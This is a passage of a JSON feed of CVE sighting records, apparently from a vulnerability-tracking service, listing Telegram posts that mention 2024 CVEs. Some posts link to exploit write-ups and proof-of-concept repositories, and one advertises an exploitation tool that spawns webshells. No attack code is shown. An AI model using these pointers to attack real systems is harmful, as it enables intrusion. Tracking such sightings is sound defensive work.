"cdadde42-bf55-4f00-8c11-5857e2872165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2471", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "40f8594e-7caa-4d57-a7b1-ff7a261e2ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "Telegram/0OKLswXosOTSdD7vyDBRQqLCjWkZAUSEQtrSX3nomLwKk1cc", "content": "", "creation_timestamp": "2025-02-18T21:11:31.000000Z"}, {"uuid": "9f7a2254-f903-463b-8f87-70957218bb03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12813", "type": "seen", "source": "Telegram/uT3oBiDHaaErg6YjdyM3A0jMBu4e653aEwwjBhKBdMx0CZ2u", "content": "", "creation_timestamp": "2025-02-18T11:39:00.000000Z"}, {"uuid": "1ffb8985-2bb3-4100-8dbd-7e6a2aac3ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12525", "type": "seen", "source": "Telegram/88kUvKzsCMqRP0cHDRv5CPS_kyuFqC1uAYFlqTqdmags3_kJ", "content": "", "creation_timestamp": "2025-02-18T11:39:00.000000Z"}, {"uuid": "ea7e5fae-e9d9-44dd-946b-e780d50d5d81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "Telegram/YMCv5dMQxodcWu4TdnyjLFwpFk0jY6Qur6jrHl0dBqx_tOWG", "content": "", "creation_timestamp": "2025-02-06T02:44:20.000000Z"}, {"uuid": "10e5717a-2542-497f-ad6d-b8e18fdbeda0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "Telegram/qsk_LT-2N1HoNGZ5N4XYTgpUNmj9CPuM0aNZAvOWHRDugzsb", "content": "", "creation_timestamp": "2025-02-18T11:38:59.000000Z"}, {"uuid": "0b9594c9-fc47-4b0c-b0b2-d92e41221372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "Telegram/Fb_mBeNfRi5FKSAvr7kSbpuWfdEci1FShbjUFuY7Z82Rg5qm", "content": "", "creation_timestamp": "2025-02-15T23:50:18.000000Z"}, {"uuid": "f66c49f9-1730-481d-be97-e3ef54e4cf2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12837", "type": "seen", "source": "Telegram/FlG8x61V-znZvoIp_7YSsDCNrg0-5ybd9nom7Qh6ZcA3rlFq", "content": "", "creation_timestamp": "2025-03-08T04:34:57.000000Z"}, {"uuid": "5589e23e-2cd0-4d3d-bc64-a96e52bd55dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://t.me/CyberBulletin/2552", "content": "\u26a1CVE-2024-12799 (CVSS 10): OpenText Identity Manager Vulnerability Exposes Sensitive Information.\n\n#CyberBulletin", "creation_timestamp": "2025-03-10T14:44:35.000000Z"}, {"uuid": "faace5d4-88c5-4320-a15c-e5f8d60fd7fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/CyberBulletin/2496", "content": "\u26a1CVE-2024-12562: Critical s2Member Pro Flaw Leaves Millions of WordPress Sites Vulnerable.\n\n#CyberBulletin", "creation_timestamp": "2025-03-06T02:39:05.000000Z"}, {"uuid": "0c1ce3d4-211e-4cf0-b02b-e498c1690faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/CyberBulletin/2359", "content": "\u26a1CVE-2024-12284 in NetScaler Console Exposes Systems to Unauthorized Command Execution.\n\n#CyberBulletin", "creation_timestamp": "2025-02-20T11:15:40.000000Z"}, {"uuid": "60e335a1-bcbd-4d7a-822c-ea0da3b98dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1287", "type": "seen", "source": "https://t.me/cvedetector/1988", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1287 - WordPress pmpro-member-directory Password Hash Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-1287 \nPublished : July 30, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The pmpro-member-directory WordPress plugin before 1.2.6 does not prevent users with at least the contributor role from leaking other users' sensitive information, including password hashes. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T09:02:47.000000Z"}, {"uuid": "dab80744-6264-4333-a125-8e5abc3601a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1286", "type": "seen", "source": "https://t.me/cvedetector/1993", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1286 - WordPress pmpro-membership-maps Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-1286 \nPublished : July 30, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The pmpro-membership-maps WordPress plugin before 0.7 does not prevent users with at least the contributor role from leaking sensitive information about users with a membership on the site. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T09:02:54.000000Z"}, {"uuid": "bdf33ea8-e4a4-429e-942e-237257bcc505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/CyberBulletin/2127", "content": "\u26a1CVE-2024-12857: Critical Flaw in AdForest Theme Allows Complete Account Takeover, Thousands of Sites at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-22T04:35:42.000000Z"}, {"uuid": "a0dadb9b-e4a9-4511-afdf-d610b7f3c524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "published-proof-of-concept", "source": "Telegram/l3e32rH5Vr1G0LWCEJnjtgeMTZSnq6j1vh42vzGIavOEvA", "content": "", "creation_timestamp": "2025-03-11T07:54:59.000000Z"}, {"uuid": "b7a76eb7-ed86-4782-8eca-340609cd0470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/768", "content": "#exploit\n1. A Practical Guide to PrintNightmare in 2024 (updated\u00a0Oct 5)\nhttps://itm4n.github.io/printnightmare-exploitation\n]-> PnP bypass\n\n2. CVE-2024-12209:\nWP Umbrella Unauthenticated LFI\nhttps://github.com/Nxploited/CVE-2024-12209\n\n3. CVE-2024-30085:\nWindows 11 23H2 EoP\nhttps://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe", "creation_timestamp": "2024-12-24T12:49:11.000000Z"}, {"uuid": "73678c8c-5a5d-4cf1-a65b-21475d961898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1249", "type": "published-proof-of-concept", "source": "Telegram/AYGigyb7bOI-l9nq-PuAkRB-nQFQFEF-wkKTAebgd39D8ZQ", "content": "", "creation_timestamp": "2024-07-11T09:31:44.000000Z"}, {"uuid": "5eed09f4-ae8d-4d5b-aba5-8c7c15e11e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1249", "type": "published-proof-of-concept", "source": "Telegram/UovLr4ewWQ2XAxNzpKZ2wpAfsjYTp2uAD40OfYILXWxB2Vk", "content": "", "creation_timestamp": "2024-07-11T08:57:40.000000Z"}, {"uuid": "4d9216ff-f9b6-4b69-aa51-d15cacf1dded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12597", "type": "seen", "source": "Telegram/7Ee8Hn1hYmZmAyqC9sa4fdEVH5O7kx6eYpOGJaH3aGK1FJsy", "content": "", "creation_timestamp": "2025-02-06T02:40:47.000000Z"}, {"uuid": "974ef64a-ad19-482e-9a1d-2756159c1e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/6704", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "6c1c7a8d-41ba-42c6-884a-cdcbb115f706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/bexsop/370", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-14T13:46:34.000000Z"}, {"uuid": "11930426-6d40-4698-882d-1e984bf25ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/ViralCyber/10788", "content": "\u26a0\ufe0f\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 Anydesk ! \u0628\u0631\u0648\u0632 \u06a9\u0646\u06cc\u062f!\n\ud83d\udd34\u06cc\u06a9 \u0636\u0639\u0641 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc\u062f \u062f\u0631 AnyDesk \u06a9\u0634\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u0627 \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u062a\u0635\u0648\u06cc\u0631 \u067e\u0633\u200c\u0632\u0645\u06cc\u0646\u0647 \u0648\u06cc\u0646\u062f\u0648\u0632 \u062f\u0631 \u062c\u0644\u0633\u0627\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631 (Administrator) \u0628\u06af\u06cc\u0631\u0646\u062f! \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u062f\u0631 \u0646\u0633\u062e\u0647 9.0.1 \u0628\u0631\u0637\u0631\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a \u2013 \u0647\u0645\u06cc\u0646 \u062d\u0627\u0644\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u06cc\u062f!\n\n\u26a1\ufe0f \u062c\u0632\u0626\u06cc\u0627\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc (CVE-2024-12754)\n\ud83d\udd34 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 AnyDesk \u062a\u0635\u0648\u06cc\u0631 \u067e\u0633\u200c\u0632\u0645\u06cc\u0646\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0633\u06cc\u0633\u062a\u0645\u06cc (SYSTEM) \u062f\u0631 \u0645\u0633\u06cc\u0631 C:\\Windows\\Temp \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\ud83d\udd34 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0627\u06cc\u0646 \u0641\u0631\u0622\u06cc\u0646\u062f \u0631\u0627 \u0631\u0647\u06af\u06cc\u0631\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0647 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u062d\u0633\u0627\u0633 \u0633\u06cc\u0633\u062a\u0645\u06cc \u0645\u062b\u0644 SAM\u060c SYSTEM \u0648 SECURITY \u062f\u0633\u062a\u0631\u0633\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0646\u062f.\n\ud83d\udd34 \u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0631\u0627\u06cc \u06af\u0631\u0641\u062a\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\u25c0\ufe0f\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0633\u0637 Naor Hodorov \u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0628\u0631\u0646\u0627\u0645\u0647 Trend Micro Zero Day Initiative \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u2709\ufe0f @PingChannel\n\u062e\u0628\u0631\u060c \u062a\u062d\u0644\u06cc\u0644\u060c \u0627\u0646\u062a\u0642\u0627\u062f - \u0641\u0646\u0627\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\u00a0 \ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b", "creation_timestamp": "2025-02-06T23:46:42.000000Z"}, {"uuid": "deb802e6-d468-4efc-bb1e-1177246cb2bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "Telegram/EEmwsx5Raa0aAxA0DuOiTZexUCgMq_8cgq3XWUhyw5Ij3Q", "content": "", "creation_timestamp": "2024-05-01T12:01:36.000000Z"}, {"uuid": "28825004-9c37-4aa4-8a3c-98a011d18b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ton618cyber/6716", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "fb46373c-2f7b-4181-9500-19f01489b23c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/6704", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "913f597b-97f2-4f5b-99c2-1a4b2c3cd420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/2928", "content": "\ud83d\udea8CVE-2024-1212: Command Injection Exploit for Kemp LoadMaster\n\nhttps://darkwebinformer.com/cve-2024-1212-command-injection-exploit-for-kemp-loadmaster/", "creation_timestamp": "2024-09-04T18:43:51.000000Z"}, {"uuid": "edcaf837-c0d6-47f5-ba01-4ce13c4073f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12059", "type": "seen", "source": "Telegram/-A1KUQpEaF_OE6KbX-bK0AxbjGCqeeDtuI0zxCUPzPMVQtVF", "content": "", "creation_timestamp": "2025-03-08T04:34:11.000000Z"}, {"uuid": "84105063-c24b-42ea-b9c6-3ef034d426cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "Telegram/aGiEOLt66R_GPYni9sAb8cj24a0FQtLLwMdvkifLZPazqw", "content": "", "creation_timestamp": "2024-05-01T12:15:24.000000Z"}, {"uuid": "963d9aab-c542-4334-9e6d-bbcf769a7311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "Telegram/XPCogO68oESYzRzq0rnG1cKRvDKqDuMYJN9nNIoezMukKYLi", "content": "", "creation_timestamp": "2025-02-24T14:08:43.000000Z"}, {"uuid": "c2dde9eb-9a14-4669-877a-054237b8488e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "Telegram/j6UJtWLuKRtOf8eW9u6xVUJtEgaydVbAeVU1MZWTTRptwOWW", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "56c27d99-45ae-49e0-b6c7-77bd0f658f49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "Telegram/5MMz7560EHzVHZZuc6APXGvpMAXs--ni5r_WSVH7rBOk_Hpa", "content": "", "creation_timestamp": "2025-03-02T11:44:21.000000Z"}, {"uuid": "ceafc10a-5efb-4c17-930a-08e00ea00e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12576", "type": "seen", "source": "Telegram/voYaEE5Zev35Q585Y08x4rQXkyueSCEXMPCMaCaQx04lfMq7", "content": "", "creation_timestamp": "2025-03-08T04:35:53.000000Z"}, {"uuid": "e725e7d5-f3dc-43d5-9bb3-41b050673bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "Telegram/VTZvlUds-e0I9I86NsIp-SN_vZhA86g44TfXGddazxO5fBDE", "content": "", "creation_timestamp": "2025-02-17T23:39:44.000000Z"}, {"uuid": "237494d3-5029-4cca-9cee-c97c8cab8eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "Telegram/hJCZIrNDw1f28FLtqTOtqNVJBULTdfIuueU2sIbqFi6s6dun", "content": "", "creation_timestamp": "2025-02-21T12:35:18.000000Z"}, {"uuid": "6e9e879c-4fbd-4fa6-bed5-e6ce0809d5f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "Telegram/03ProG_aSsOBxs0Iz_mqpSONf1h0Bjc41e6bDcTiczX4atpv", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "a2a04a1c-419c-4ec0-9772-fb9e2c8f45fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12960", "type": "seen", "source": "Telegram/ODtKmxSagRGGLPM4CIfDJmidYPfyTP6byVWy0cFtYJWeJzjQ", "content": "", "creation_timestamp": "2025-03-02T11:46:30.000000Z"}, {"uuid": "b65ac049-1bfe-49e3-875d-3a3ce5961ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "Telegram/ptS41WHYGkK8-7TNW1SKpJmQ2vi0J6QQM-GEvnKDNpxMF8Os", "content": "", "creation_timestamp": "2025-03-02T11:46:29.000000Z"}, {"uuid": "308746d8-4dc2-4e80-b93a-335edbd477ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "Telegram/nxkekfYQh2Jd8u8Typs3jc_d9uXWkAISr8OFrX_w_-QWkHmk", "content": "", "creation_timestamp": "2025-03-02T11:46:29.000000Z"}, {"uuid": "a3dc4443-d351-4fbc-b1f4-fbf23a6bd00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "Telegram/cNHz2WIqvypLYxSi6vlQDxxMDAeiIhgPdHWn4S5Rx9t0uge9", "content": "", "creation_timestamp": "2025-02-14T10:04:03.000000Z"}, {"uuid": "eeca6cb8-666d-448f-930e-8cb563bc2709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12550", "type": "seen", "source": "Telegram/agErYGZGhUuKeh7ThxHziTxtX0x03fTxcfCitERdoYvRmsZS", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "c3999278-12bf-40b0-a4c0-e8e9bd69848f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12522", "type": "seen", "source": "Telegram/kqlj6TnqgBp9U0pklx5wSD5tio30hHP6GJLJD0eDPv_CZugr", "content": "", "creation_timestamp": "2025-02-19T15:39:51.000000Z"}, {"uuid": "06470955-973c-4a36-9ed1-e04c654a70c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12339", "type": "seen", "source": "Telegram/qzFyNsNY2SbItVHGLPR9f8mPeURLdPPsne6tN29f9_YE3nc4", "content": "", "creation_timestamp": "2025-02-19T15:39:51.000000Z"}, {"uuid": "6f1fec57-3d49-4eb3-999d-d93a02ae36c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12069", "type": "seen", "source": "Telegram/Hr7yEc-eBBoFgekUiOL3AtziWii9GYycnOpt3SsEz7lrUbn6", "content": "", "creation_timestamp": "2025-02-19T15:39:51.000000Z"}, {"uuid": "2e6d7b1b-6e4f-4e73-9187-a68af9dca87d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/hH4WqOdTLN_sIM_JrrRZE3byiNE8kIoUzafkY6rCYGvPnDDT", "content": "", "creation_timestamp": "2025-02-14T10:06:08.000000Z"}, {"uuid": "f27b4cf2-f79c-4539-a36c-03791e854ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "Telegram/7O9Y543Gb-YKDw5A-C3--v8pzrSkQLMG9QABOQIXpw5ve9WJ", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "f19b9495-39df-400f-9f70-c20aa2929872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "Telegram/sCfhZSlThWRpjAJ-RnpM0kPA3kEWIT-TPa8V7c_DLtoQXB1h", "content": "", "creation_timestamp": "2025-02-14T10:04:58.000000Z"}, {"uuid": "6ac6f29a-f0aa-42e7-9d28-95197dae5dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "Telegram/ywR1DiyQtSb_DrEJKa7u6yfUtOVJG56e-GjYAA9u-_Wj4NHH", "content": "", "creation_timestamp": "2025-02-14T10:04:58.000000Z"}, {"uuid": "0a87b738-23e0-456e-bd64-a40f1f4d9352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "Telegram/-j5O-Ldxcg1PiO-VCZsMHKCB7R5yUlpJrhJxmMhs4aqXKTSr", "content": "", "creation_timestamp": "2025-02-06T02:44:19.000000Z"}, {"uuid": "61061e68-7259-40d8-be53-d8d1fa0630be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": 